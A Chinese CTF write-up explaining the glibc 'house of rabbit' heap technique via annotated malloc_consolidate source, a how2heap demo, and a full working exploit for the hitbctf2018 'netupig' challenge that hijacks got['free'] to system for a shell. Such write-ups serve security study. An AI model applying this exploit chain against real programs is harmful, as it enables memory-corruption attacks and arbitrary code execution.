堆利用详解:the house of rabbit
2024-2-11 14:26:3 Author: mp.weixin.qq.com(查看原文) 阅读量:3 收藏


简介

介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,本文结合源码探讨了malloc中的多种机制:包括malloc consolidation,unsortedbin sort,mmap,heap grow等。

漏洞成因

overflow writeuse after free

适用范围

2.23——2.26
◆超过0x400大小的堆分配
◆可以写fastbinfd或者size
利用原理
该利用技巧的核心是malloc_consolidate函数,当检测到有fastbin的时候,会取出每一个fastbin chunk,将其放置到unsortedbin中,并进行合并。
以修改fd为例,利用过程如下:
◆申请chunk Achunk B,其中chunk A的大小位于fastbin范围
◆释放chunk A,使其进入到fastbin
◆利用use after free,修改A->fd指向地址X,需要伪造好fake chunk,使其不执行unlink或者绕过unlink
◆分配足够大的chunk,或者释放0x10000以上的chunk,只要能触发malloc_consolidate即可
◆此时fake chunk被放到了unsortedbin,或者进入到对应的smallbin/largebin
◆取出fake chunk进行读写即可

相关技巧

2.26加入了unlinkpresize的检查
2.27加入了fastbin的检查
抓住重点:house of rabbit是对malloc_consolidate的利用。因此,不一定要按照原作者的思路来,他的思路需要满足的条件太多了。

利用效果

◆任意地址分配
◆任意地址读写


实验:how2heap - fastbin dup consolidate

实验环境:libc 2.35
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
// reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
puts("This is a powerful technique that bypasses the double free check in tcachebin.");
printf("Fill up the tcache list to force the fastbin usage...\n");

void *ptr[7];

for(int i = 0; i < 7; i++)
ptr[i] = malloc(0x40);
for(int i = 0; i < 7; i++)
free(ptr[i]);

void* p1 = calloc(1,0x40);

printf("Allocate another chunk of the same size p1=%p \n", p1);
printf("Freeing p1 will add this chunk to the fastbin list...\n\n");
free(p1);

void* p3 = malloc(0x400);
printf("Allocating a tcache-sized chunk (p3=%p)\n", p3);
printf("will trigger the malloc_consolidate and merge\n");
printf("the fastbin chunks into the top chunk, thus\n");
printf("p1 and p3 are now pointing to the same chunk !\n\n");

assert(p1 == p3);

printf("Triggering the double free vulnerability!\n\n");
free(p1);

void *p4 = malloc(0x400);

assert(p4 == p3);

printf("The double free added the chunk referenced by p1 \n");
printf("to the tcache thus the next similar-size malloc will\n");
printf("point to p3: p3=%p, p4=%p\n\n",p3, p4);
}

流程如下:
1.填充满tcachebin,以便后续使用fastbin chunk
2.申请同大小的chunk再释放,使其进入fastbin,指针是p1
0x55555555b8d0  0x0000000000000000      0x0000000000000051      ........Q.......         <-- fastbins[0x50][0]0x55555555b8e0  0x000000055555555b      0x0000000000000000      [UUU............0x55555555b8f0  0x0000000000000000      0x0000000000000000      ................0x55555555b900  0x0000000000000000      0x0000000000000000      ................0x55555555b910  0x0000000000000000      0x0000000000000000      ................
0x55555555b920 0x0000000000000000 0x00000000000206e1 ................ <-- Top chunk
3.申请一个tcache-sized chunk p3,触发malloc_consolidate
-这里会把fastbin chunk合并到top chunk中,然后再从top chunk申请内存
4.此时指向fastbin的指针指向刚刚申请的p3,此时可以再次释放p1,从而对同一个地址连续释放了2次,触发了双重释放
5.当再次申请p4的时候,位置和p3依然是一样的

malloc_consolidate 做了哪些事情?

static void malloc_consolidate(mstate av)
{
mfastbinptr *fb; /* current fastbin being consolidated */
mfastbinptr *maxfb; /* last fastbin (for loop control) */
mchunkptr p; /* current chunk being consolidated */
mchunkptr nextp; /* next chunk to consolidate */
mchunkptr unsorted_bin; /* bin header */
mchunkptr first_unsorted; /* chunk to link to */

/* These have same use as in free() */
mchunkptr nextchunk;
INTERNAL_SIZE_T size;
INTERNAL_SIZE_T nextsize;
INTERNAL_SIZE_T prevsize;
int nextinuse;
// 设置 av->have_fastchunks 为 false(0)
atomic_store_relaxed(&av->have_fastchunks, false);
// 取出 unsortedbin chunk
unsorted_bin = unsorted_chunks(av);

/*
Remove each chunk from fast bin and consolidate it, placing it
then in unsorted bin. Among other reasons for doing this,
placing in unsorted bin avoids needing to calculate actual bins
until malloc is sure that chunks aren't immediately going to be
reused anyway.
移除fastbin中的chunk,然后合并,放到unsortedbin

*/
// 取出最大的 fastbin
maxfb = &fastbin(av, NFASTBINS - 1);
// 取出最小的 fastbin
fb = &fastbin(av, 0);
do
{
p = atomic_exchange_acq(fb, NULL);
// 从最小的fb到最大的fb进行遍历,有chunk就进入处理
if (p != 0)
{
// 遍历每一个 fastbin chunk
do
{
{
// 安全检查:p 需要是内存对齐的
if (__glibc_unlikely(misaligned_chunk(p)))
malloc_printerr("malloc_consolidate(): "
"unaligned fastbin chunk detected");
// 获取 fastbin 索引
unsigned int idx = fastbin_index(chunksize(p));
// 安全检查:该fastbin的大小检查,不能是其他大小
if ((&fastbin(av, idx)) != fb)
malloc_printerr("malloc_consolidate(): invalid chunk size");
}
// 检查 prev_inuse 位为 1
check_inuse_chunk(av, p);
// 解密 next 指针,拿到next chunk地址
nextp = REVEAL_PTR(p->fd);

/* Slightly streamlined version of consolidation code in free() */
// 轻量线性版本的free()的consolidation
// 获取大小
size = chunksize(p);
// 获取next chunk 及其 size
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
// 如果prev_inuse==0,意味着上一个chunk是空闲的normal chunk,向上(低地址)合并
if (!prev_inuse(p))
{
// 获取 prev_size,计算合并后大小 size,获取prev chunk ptr
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long)prevsize));
// 安全检查:如果chunk size和next chunk 的 prev_size不一致,报错
if (__glibc_unlikely(chunksize(p) != prevsize))
malloc_printerr("corrupted size vs. prev_size in fastbins");
// 双链表断链 prev chunk
unlink_chunk(av, p);
}
// 如果下一个chunk不是top chunk
if (nextchunk != av->top)
{
// 判断再下一个chunk的prev_inuse
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

// 如果是0,表示next chunk是空闲的
if (!nextinuse)
{
// 大小合并,断链
size += nextsize;
unlink_chunk(av, nextchunk);
}
else // 清除next chunk的prev_inuse位
clear_inuse_bit_at_offset(nextchunk, 0);

// 插入到 unsortedbin 的前面
// 取出unsortedbin中的第一个
first_unsorted = unsorted_bin->fd;
// 第一个设置成新的chunk
unsorted_bin->fd = p;
// 原本第一个的上一个设置成新的chunk
first_unsorted->bk = p;

// 如果是largebin size chunk,就清空nextsize位
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
// 设置标志位,完成插入操作
set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
// 如果下一个chunk是top chunk
else
{ // 合并到top chunk
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ((p = nextp) != 0);
}
} while (fb++ != maxfb);
}

简单来说,就是轻量版本的free里的consolidation过程,是针对fastbin chunk的,流程如下:
1.设置av->have_fastchunks为false
2.遍历每一个fastbin
3.遇到fastbin chunk,就进行合并
(1)安全检查:该chunk的大小和该bin的大小需要匹配
(2)向上合并(低地址),能合就合
(3)向下合并(高地址),能合就合

    a.如果不是top chunk,就插入到unsortedbin的前面

    b.如果是top chunk,就合并到top chunk中

进入 malloc_consolidation 的条件是什么?

_int_malloc中,当不能从fastbin中申请,且申请大小不属于small size时,如果当前arenafastbin chunk,就会进行调用:
else{    // largebin 中取出    idx = largebin_index(nb);    if (atomic_load_relaxed(&av->have_fastchunks))        malloc_consolidate(av);}
_int_malloc中,当无法通过top chunk分配,且arena中有fastbin chunk时,就会进行调用:
else if (atomic_load_relaxed(&av->have_fastchunks)){    malloc_consolidate(av); // 合并操作    /* restore original bin index */    // 保存原本bin索引    if (in_smallbin_range(nb))        idx = smallbin_index(nb);    else        idx = largebin_index(nb);}
_int_free中,释放到unsortedbin进行consolidation的过程中,在向前向后合并完成了以后,如果合并的大小超过0x10000,就检测fastbin chunk并进行合并:
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD)   // 阈值:65536{    // 如果fastbins存在,就合并    if (atomic_load_relaxed(&av->have_fastchunks))        malloc_consolidate(av);

fastbin chunk 进行合并有哪些安全检查?

和 libc 2.23 相比,新增了3个检查:
1.在遍历的时候,会检查chunk的内存对齐
2.在遍历的时候,会检查chunk的大小和fastbin的大小是否匹配
3.在向前合并的时候,会检查prev_size和前一个chunk的size是否相同


实验:hitbctf2018 - netupig

实验环境:libc 2.23
这个实验我做了2天,还是思想太局限了,没收集好题目给出的信息,就在硬做,看到大佬的exp,恍然大悟,实在精彩!精彩!

题目分析

保护:没有PIE,以及Partial RELRO,意味着got表可以作为利用目标:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
main函数:很简洁,三个功能,其中没有任何地方能打印。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int choose; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_4008DC(a1, a2, a3);
sub_400950();
while ( 1 )
{
__isoc99_scanf("%d", &choose);
getchar();
switch ( choose )
{
case 2:
fp_free();
break;
case 3:
fp_edit();
break;
case 1:
fp_malloc(); // 1:0x10
// 2:0x80
// 3:0xa00000
break;
}
}
}

malloc的函数:根据输入的选项申请固定大小的内存:
__int64 fp_malloc()
{
__int64 size; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 i; // [rsp+8h] [rbp-18h]
void *p; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
__isoc99_scanf("%lu", &size);
getchar();
switch ( size )
{
case 1LL:
p = malloc(0x10uLL);
break;
case 2LL:
p = malloc(0x80uLL);
break;
case 3LL:
p = malloc(0xA00000uLL);
break;
case 13337LL:
if ( g_tag == 1 )
return 0xFFFFFFFFLL;
p = malloc(0xFFFFFFFFFFFFFF70LL); // 有大用!
g_tag = 1;
break;
}
if ( !p )
return 0xFFFFFFFFLL;
fp_read(p, 8LL);
for ( i = 0LL; i <= 9 && *(&ptr + i); ++i )
;
if ( i == 10 )
exit(0);
*(&ptr + i) = p;
return 0LL;
}

edit函数:存在释放后写入漏洞,可以修改释放后的chunk。
__int64 fp_edit()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
fp_read(*(&ptr + (int)index), 8LL); // 存在WAF
fp_read(&g_buffer, 48LL);
return 0LL;
}

free的函数:释放后没清楚函数指针,可能存在UAF,Double-Free(由于没有libc leak,没法用double-free打)。
__int64 fp_free()
{
unsigned int index; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
__isoc99_scanf("%d", &index);
getchar();
if ( index >= 0xA )
return 0xFFFFFFFFLL;
free(*(&ptr + (int)index)); // 没有清0指针,可能存在double-free,UAF
return 0LL;
}

其中重要变量的内存布局:
◆00000000006020C0:是指针数组
◆0000000000602120:是一个缓冲区,在edit功能中会写入东西进去
.bss:00000000006020C0 ; void *ptr
.bss:00000000006020C0 ptr dq 0Ch dup(?) ; DATA XREF: fp_malloc+E8↑r
.bss:00000000006020C0 ; fp_malloc+113↑w ...
.bss:0000000000602120 g_buffer dq 6 dup(?) ; DATA XREF: fp_edit+67↑o
.bss:0000000000602150 dd ?

思路分析 & malloc 全流程简述

由于整个程序不会打印任何东西,所以没法得到libc leak。但是其中有一个功能提供了申请0xFFFFFFFFFFFFFF70LL大小和0xA00000uLL大小内存的功能(当时我还不懂,后来发现这是整个利用的核心)
其实这个0xA00000uLL是个提示,回顾一下libc 2.23下malloc的过程:
1.首先是检查是否满足fastbin大小要求,满足且存在适合的chunk就从fastbin中分配
2.然后检查是否满足smallbin,满足且存在适合的chunk就从smallbin中分配
3.同时检查是否满足largebin,满足就计算一下所属的largebin的索引idx
4.进行unsortedbin的处理过程,从后向前遍历unsortedbin链表,满足切割分配就切割分配,大小精确匹配就分配,大小不匹配的就根据大小装入largebin和smallbin
-注意:这里会检查申请大小是否超出系统内存!这是该版本malloc中唯一检查的地方,如果没有unsortedbin,就不进行检查
5.unsortedbin处理完之后,从largebin中找满足大小要求的chunk分配,要么直接分配出去,要么切割分配出去,剩下的部分装入unsortedbin

-largebin中最大的chunk范围是0x80000 - ∞

-从largebin中分配不检查申请大小是否超出系统内存

6.最后在从top chunk分配,分配不了就用sysmalloc去映射内存或者扩大top chunk
在从unsortedbin或largebin,smallbin中断链的时候,会检查next chunk的prev_size和当前size是否匹配。
这里的0xA00000给出的提示就是要用到largebin去分配巨大的0xFFFFFFFFFFFFFF70LL内存,通过分割来获得能覆盖指针数组的chunk

那么处理思路就是:
1.利用 malloc consolidation 机制去在buffer中获得一个unsortedbin chunk,计算好位置,使得申请巨大内存后,切割下来的chunk刚好位于指针数组边上。
2.通过修改 buffer,使其大小小于0xA00010且大于0x80000,使该chunk通过sort过程进入largebin。
3.申请巨大内存得到分割后的chunk位于指针数组边上,修改指针为got['free'],向其中写入内存plt['system'],劫持free函数,然后释放一个写有/bin/sh的chunk,拿到shell。

利用 malloc consolidation

# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)

add(1,'2')
dele(2)
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)

# malloc consolidation
add(3,'3')

首先申请2个0xa00000的chunk,并释放掉,目的是:
1.用来提升**av->system_mem**(后面探讨原因,见后文:探讨2)

-申请1个释放掉也行

-申请释放再申请这个大小的内存的时候,会触发top grow(后面探讨为什么,见后文:探讨1)

然后申请fastbin size chunk,释放掉,通过WAF漏洞来修改其fd指针指向buffer,此时的bin:
pwndbg> bin
fastbins
0x20: 0x245a000 —▸ 0x602130 ◂— 0x0
此时buffer被修改成如下样子:
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000 where i need to get a remainder chunk

00000000006020c0 00007f6f978dd010 000000000245a010 ptr array
00000000006020d0 000000000245a010 0000000000000000
00000000006020e0 0000000000000000 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000

0000000000602120 0000000000000000 0000000000000000 buffer
0000000000602130 0000000000000000 0000000000000011
0000000000602140 0000000000000000 0000000000000001
0000000000602150 0000000000000000 0000000000000000

这里为什么要这样构造buffer结构?

malloc consolidation 过程

回顾一下malloc consolidation的过程:
1.从fastbin中依次取出fastbin chunk
2.对chunk进行简易版的free的consolidation过程
-向前合并
-向后合并
-插入unsortedbin
这里会进行向前向后合并的操作,修改prev_inuse标志为1,可以使其不向上合并,但是依然会进行向下合并的检查:
1.用chunk size + chunk addr计算出下一个chunk所在位置;
2.用下一个chunk size + 其chunk addr计算出再下一个chunk所在位置,然后判断prev_inuse位是否是1,不是1就断链合并;
这里的下一个chunk在0x602140,然后再下一个chunk由于大小是0,所以还在同样的位置,检查prev_inuse位是1,不进行合并操作,触发malloc consolidation后会直接把chunk 0x602130加入unsortedbin(堆中的chunk被合并到top里了)。
触发malloc consolidation有两种好达到的情况:
1.释放chunk和top合并
2.申请很大的chunk
后续通过申请0xa00000大小chunk来触发:
pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602130 —▸ 0x7f6f986a2b78 (main_arena+88) ◂— 0x602130 /* '0!`' */
smallbins
empty
largebins
empty

准备 Largebin chunk

接下来要做的就是把该chunk放入largebin了,此时unsortedbin只有1个chunk,需要做到修改unsortedbin大小为0x80000到0xa00010之间,然后申请一个比该chunk大的内存:
# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload) # perpare for hijack free function later
add(3,'4')
这里就是普通的unsortedbin的处理过程:遍历chunk,如果不能通过remainder分配,且大小不精准匹配,就装入largebin或smallbin
修改后的内存:
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000

00000000006020c0 00007f4c518ef010 0000000000c32010
00000000006020d0 0000000000c32010 0000000000c32010
00000000006020e0 0000000001632020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000

0000000000602120 0000000000000000 0000000000000000
0000000000602130 0000000000000000 0000000000a00001 largebin chunk
0000000000602140 00007f4c526b5348 00007f4c526b5348
0000000000602150 0000000000602130 0000000000602130

bin:
pwndbg> bin
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
0x80000-∞: 0x602130 —▸ 0x7f4c526b5348 (main_arena+2088) ◂— 0x602130 /* '0!`' */

申请超大内存控制指针数组

# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')
此时修改该largebin chunk size为一个巨大的值,这个值需要满足:
◆申请完0xFFFFFFFFFFFFFF70LL大小的内存之后,remainder chunk至少位于0x6020b0
修改成0xFFFFFFFFFFFFFF70 + 0x80 = fffffffffffffff0即可(注意unlink的时候会计算next chunk检查prev_size)
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000000 will be remainder chunk

00000000006020c0 00007f1308860010 0000000000e45010 ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000000000
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000

0000000000602120 fffffffffffffff0 0000000000000000 prev_size
0000000000602130 0000000000000000 fffffffffffffff1 largebin chunk
0000000000602140 00007f1309626348 00007f1309626348
0000000000602150 0000000000602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000

申请巨大内存后:
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000071 unsortedbin chunk
00000000006020c0 00007f1309625b78 00007f1309625b78 ptr array
00000000006020d0 0000000000e45010 0000000000e45010
00000000006020e0 0000000001845020 0000000000602140
00000000006020f0 0000000000000000 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000

0000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f1309626335 00007f1309626348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000

劫持 got['free'] 函数

add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)
这里就没啥好说的了,申请一个0x20字节的chunk,触发remainder,可控内容为got表的地址:
pwndbg> dq 0x6020b0 30
00000000006020b0 0000000000000000 0000000000000021
00000000006020c0 0000000000602018 00007f4df317bbd8 got['free']

00000000006020d0 0000000001cb1010 0000000000000051
00000000006020e0 00007f4df317bb78 00007f4df317bb78
00000000006020f0 00000000006020c0 0000000000000000
0000000000602100 0000000000000000 0000000000000000
0000000000602110 0000000000000000 0000000000000000

0000000000602120 0000000000000070 0000000000000000
0000000000602130 0000000000000000 ffffffffffffff81
0000000000602140 00007f4df317c335 00007f4df317c348
0000000000602150 0000000100602130 0000000000602130
0000000000602160 0000000000000000 0000000000000000
0000000000602170 0000000000000000 0000000000000000
0000000000602180 0000000000000000 0000000000000000
0000000000602190 0000000000000000 0000000000000000

修改其中的内容指向system函数,然后找一个写有/bin/sh的指针进行free:
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x1cb1000
Size: 0xa00010 (with flag bits: 0xa00011)

pwndbg> x/s 0x000000001cb1010
0x1cb1010: "/bin/sh"

即可拿到shell。

完整EXP

from pwncli import *
cli_script()
set_remote_libc('libc-2.23.so')

io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc

def cmd(i, prompt=''):
sleep(0.1)
#sla(prompt, i)
sl(i)
sl('')

# 1 0x10
# 2 0x80
# 3 0xA0000
def add(nb,content):
cmd('1')
sl(str(nb))
# sl('')
s(content[:7])
#......

def edit(idx,content,content2):
cmd('3')
sl(str(idx))
s(content[:7])
s(content2[:47])

def dele(idx):
cmd('2')
sl(str(idx))
sl('')
#......

# ====================

# 思路,最终通过13337申请的巨大内存,覆盖到指针数组上
# 需要一个大小巨大的chunk在buffer中,通过malloc consolidation

ru('test')
# trigger top grow
add(3,'0')
dele(0)
add(3,'1')
dele(1)

add(1,'2')
dele(2)

payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0x11),
0x20:pack(0)+pack(1)
})
edit(2,pack(0x602130),payload)

# malloc consolidation
add(3,'3')

# let this chunk into largebin,max range
payload = flat({
0x00:pack(0)+pack(0x00),
0x10:pack(0)+pack(0xa00001),
})
edit(2,b'/bin/sh',payload)
add(3,'4')

# forgery prev_size & size (unlink process check this)
payload = flat({
0x00:pack(0xfffffffffffffff0)+pack(0x00),
0x10:pack(0)+pack(0xfffffffffffffff1),
})
edit(4,'4',payload)
add(13337,'5')

add(1,pack(elf.got['free']))
edit(0,pack(elf.sym.system),pack(0x70))
dele(2)

ia()

探究1:为什么第二个0xa00000 chunk的申请会通过top grow来分配?

正常情况下,超过top大小的申请,会进入sysmalloc进行处理,在sysmalloc中,会优先使用mmap来处理,使用mmap的条件:
if (av == NULL || ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/

try_mmap:

mp_此时的状态:
pwndbg> p/x nb
$1 = 0xa00010

pwndbg> p/x mp_
$2 = {
trim_threshold = 0x20000,
top_pad = 0x20000,
mmap_threshold = 0x20000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x0,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0x0,
max_total_mem = 0x0,
sbrk_base = 0x0
}

其中,mp_.mmap_threshold的值为初始值:0x20000,小于申请大小nb,mmap数量也没超过上限,就会进入mmap的流程,映射一块内存分配下来
从前面的结果来看,第二次申请同样大小的chunk时,没有通过mmap处理,而是top grow来处理分配。
这说明第二次到这里的时候条件不再满足,调试查看mp_的状态:
pwndbg> p/x mp_
$1 = {
trim_threshold = 0x1402000,
top_pad = 0x20000,
mmap_threshold = 0xa01000,
arena_test = 0x8,
arena_max = 0x0,
n_mmaps = 0x0,
n_mmaps_max = 0x10000,
max_n_mmaps = 0x1,
no_dyn_threshold = 0x0,
mmapped_mem = 0x0,
max_mmapped_mem = 0xa01000,
max_total_mem = 0x0,
sbrk_base = 0x0
}
发现是mp_.mmap_threshold的值发生了变化,在这两次申请内存之间只间隔了一个free,问题应该就出现在free中。
libc_hidden_def(__libc_malloc)

void __libc_free(void *mem)
{
mstate ar_ptr;
mchunkptr p; /* chunk corresponding to mem */

void (*hook)(void *, const void *) = atomic_forced_read(__free_hook);
if (__builtin_expect(hook != NULL, 0))
{
(*hook)(mem, RETURN_ADDRESS(0));
return;
}

if (mem == 0) /* free(0) has no effect */
return;

p = mem2chunk(mem);

if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}

ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
}

可以看到,如果chunk是映射的,就会调整mp_.mmap_threshold的大小,这意味着,小于该大小的chunk将不再通过mmap进行分配。
可以推测出映射内存的一个条件是:当申请内存超过上一次映射释放的大小了之后,才会重新映射内存来分配

探讨2:关于为何需要提升 av->system_mem

在malloc的过程中有一个检查,在处理unsortedbin的时候:
if (__builtin_expect(victim->size <= 2 * SIZE_SZ, 0) || __builtin_expect(victim->size > av->system_mem, 0))
malloc_printerr(check_action, "malloc(): memory corruption",
chunk2mem(victim), av);
这里检查unsortedbin chunk的大小,大小不能超过堆申请的总大小
关于这个av->system_mem,它会在top grow之后进行累加,在sysmalloc函数中,heap grow之后有这么一段:
if ((long)(MINSIZE + nb - old_size) > 0 && grow_heap(old_heap, MINSIZE + nb - old_size) == 0)
{
av->system_mem += old_heap->size - old_heap_size;
arena_mem += old_heap->size - old_heap_size;
set_head(old_top, (((char *)old_heap + old_heap->size) - (char *)old_top) | PREV_INUSE);
}
这里会记录heap中新增的大小,累加到av->system_mem中,表示现在系统中可用的内存有这么大。
后续触发unsortedbin sort机制的时候,需要满足这个条件,就需要提前去增加av->system_mem的大小,方式就是触发heap grow。
回顾该exp,总共使用了5次对0xa00000内存的申请,其中第4次触发sort机制,如果刚开始不去触发heap grow,则只会在malloc consolidation的时候触发mmap的调用,在触发sort机制的时候触发heap grow,但是顺序是先检查unsortedbin chunk size,再heap grow,所以来不及。因此:就需要至少申请一次该大小的chunk在之前。

参考资料

◆[0]Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.github.io)
◆[1]从零开始的Linux堆利用(十二) House of Rabbit – Hacking everyday (hack1s.fun)
◆[2]how2heap/glibc_2.35/fastbin_dup_consolidate.c at master · shellphish/how2heap (github.com)

看雪ID:selph

https://bbs.kanxue.com/user-home-988863.htm

*本文为看雪论坛精华文章,由 selph 原创,转载请注明来自看雪社区

# 往期推荐

1、区块链智能合约逆向-合约创建-调用执行流程分析

2、在Windows平台使用VS2022的MSVC编译LLVM16

3、神挡杀神——揭开世界第一手游保护nProtect的神秘面纱

4、为什么在ASLR机制下DLL文件在不同进程中加载的基址相同

5、2022QWB final RDP

6、华为杯研究生国赛 adv_lua

球分享

球点赞

球在看

点击阅读原文查看更多


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458542080&idx=1&sn=c1d1284d6664c1d1172284607885036c&chksm=b18d508a86fad99c899b3883d62d0a607b9b898a8d3b4a600ba0fa5b47f05bcc41f6d9808484&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh